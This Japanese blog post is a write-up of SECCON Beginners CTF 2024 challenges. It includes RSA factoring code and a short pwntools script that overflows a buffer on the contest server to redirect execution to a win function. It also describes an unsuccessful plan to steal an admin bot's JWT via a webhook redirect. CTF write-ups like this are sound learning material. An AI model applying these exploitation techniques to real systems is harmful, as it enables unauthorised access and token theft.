0
0

SECCON CTF for Begginer 2024 WriteUp

Posted at

概要

久しぶりの投稿です。

本記事は、先日末2024/6/15 (土) 14:00 JST から 2024/6/16 (日) 14:00 JST で実施されたctf4b 2024のwriteUpです。
とりあえず、回答できた問題を中心に記載していきます。

結果

今回も1マンチームで参加し、
最終結果は、402/962 th、226 point でした。
要復習ですね・・・

環境

Windows + Kalilinux
プログラムはすべてPython3
その他、各種ツール

Welcome

いつも通り、Discodeに。
解答送信する際に一度サーバーが落ちたのか、不安定になっていて解答が何度も送信できず・・・

Crypt

Safe Prime

Using a safe prime makes RSA secure, doesn't it?

Safe_Prime.tar.gz 774280c0d7d278ed01f537b13014fa15b4dc1d3a
output.txt(配布ファイル)
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291

c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861

n,e,cがすでに明示されています。
さらに、qpで記述可能な式q=2p+1で与えられています。
なので、わざわざnを素因数分解しなくてもqp導出可能です。

以下、p,qの導出に使用したコードです。

import gmpy2

gmpy2.get_context().precision = 1000 

def find_p_and_q(n):
    n = gmpy2.mpz(n)
    
    discriminant = 1 + 8 * n
    
    p = (1 + gmpy2.isqrt(discriminant)) // 4  
    q = 2 * p + 1
    
    return int(p), int(q)

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291

p, q = find_p_and_q(n)

print(f"n = {n}, p = {p}, q = {q}")

p,qが分かったので、後はphi,dが出せるので、平文mが導出できますね!

answer.jpg

math(未回答)

RSA暗号に用いられる変数に特徴的な条件があるようですね...?

math.tar.gz 2740fceb50df89f4638a1e3b6ded3487a55461fc
output.txt(配布ファイル)
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289
chal.py(配布ファイル)
from Crypto.Util.number import bytes_to_long, isPrime
from secret import (
    x,
    p,
    q,
)  # x, p, q are secret values, please derive them from the provided other values.
import gmpy2


def is_square(n: int):
    return gmpy2.isqrt(n) ** 2 == n


assert isPrime(p)
assert isPrime(q)
assert p != q

a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)

n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")

# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0

前提条件より、p,q,xがシークレット、a,bとして'p-x',q-xが与えられていますが・・・除去方法が分からず断念。

Pwnable

simpleoverflow

Cでは、0がFalse、それ以外がTrueとして扱われます。

nc simpleoverflow.beginners.seccon.games 9000

simpleoverflow.tar.gz 02d827ce1b22d3bb285f93d6981e537f34c49e32

問題文の記載の通り、シンプルにオーバーフロー起したらフラグ貰えました。

simpleoverwrite

スタックとリターンアドレスを確認しましょう

nc simpleoverwrite.beginners.seccon.games 9001

simpleoverwrite.tar.gz 98f8e4f182185e9ed40e195c1921561eba79494b

配布された実行ファイルをGhidraなどで確認すると、フラグを出力しているwin関数を発見。
しかし、通常の動作ではwin関数を呼び出していない。
オーバーフローする入力文字数と、win関数のアドレスを調べて、以下のように解答用のコードを作成。無事、フラグを入手できました。

solve.py
from pwn import *

isOnline = 1
if isOnline==1:
        io = remote("simpleoverwrite.beginners.seccon.games", 9001)
else:
        io = process("./chall")
io.recvuntil("input:")

io.send(b"a"*18+(0x00000401186).to_bytes(13, "little"))
io.interactive()

answer.jpg

reversing

assemble(未回答)

Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!

https://assemble.beginners.seccon.games

assemble.tar.gz d68dd70d722c38f90c8c4a8e8c36be6a94e3fab4

mov,push,syscallのみを利用し、25未満の命令数で、①~④の各ステップをクリアする必要がある。
①~③まではクリアできたが、上記の制約の上でflag.txtの中身を表示する方法が分からず断念。
アセンブラに弱すぎる・・・

解答途中まで。(コメント追加しています。)
    mov rax, 0x123
    push rax

    mov rax, 0x0a21646c72   ; 'dlr!' + '\n' (Little Endian)
    push rax                ; RAX をスタックにプッシュ

    mov rax, 0x6f6c6c6548   ; 'Hello' (Little Endian)
    push rax                ; RAX をスタックにプッシュ

    ; write システムコールの引数を設定
    mov rax, 1              ; sys_write の syscall 番号
    mov rdi, 1              ; ファイルディスクリプタ 1 (stdout)
    mov rsi, rsp            ; 文字列のアドレス(スタックポインタ)
    mov rdx, 6              ; 書き込むバイト数 ("Hello\n" の長さ)

    syscall                 ; syscall の呼び出し

Misc

getRank

https://getrank.beginners.seccon.games

getRank.tar.gz ac08b24f889e041a5c93491ba2677f219b502f16

単純にBurpsuiteやcurlなどで直接scoreとなるinputの値を、条件を満たすように送付すれば良い。
なお配布されたコードを読み進めると、rank1となるための以下の制約・条件が分かった。

  • rank1を取得するには、scoreが10**255より大きい値でなければならない
  • しかし、10**255を超えてしまうと、スコアが減らされてしまう。
  • さらに入力が300文字を超えると、そもそも弾かれる
  • なお、10**255では、findindexの条件より、rank1を満たせない。

ここでTypescriptの入力とjavasxriptのParseIntが同一の動作をすると思い込み、先に進まず断念。
javascriptでは数値以外は評価されないが、TypescriptのParseIntでは式評価される。
ので、上記の制限を超えないギリギリの値を送るような式(16進数でfを制限を超えない程度にRank1となる数送れるような値)を送ればOK

Web

wooorker

adminのみflagを取得できる認可サービスを作りました!

https://wooorker.beginners.seccon.games

脆弱性報告bot

wooorker.tar.gz 2911ea65e5bb56cca44780edeae2ccf8c0956a52

JWT問題。
コードを見る限り、guestアカウントの情報しか分からない。
目的として、Admin権限でのJWTトークンの奪取が考えられる。

今回、ログインするページとは別に、Admin権限で自動でログインしてくれるクローラープログラム(脆弱性報告bot)が動いている。

guestアカウントでのログイン後の動作、コードを見るに、ログイン後にトークンが吐き出されている事が分かる。
そのため、このサイトのnextパラメータにWebhookなどで引っかけてやればトークンが取れる・・・
と想定していましたが、何故かフックせず。断念。
他の方のWriteUpを読んでいても、同じ回答であったため原因究明中。

今後の課題

  • そろそろ真面目に、長時間のイベントや競技では、休憩時間を計画してないとマズいと痛感してきています。
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0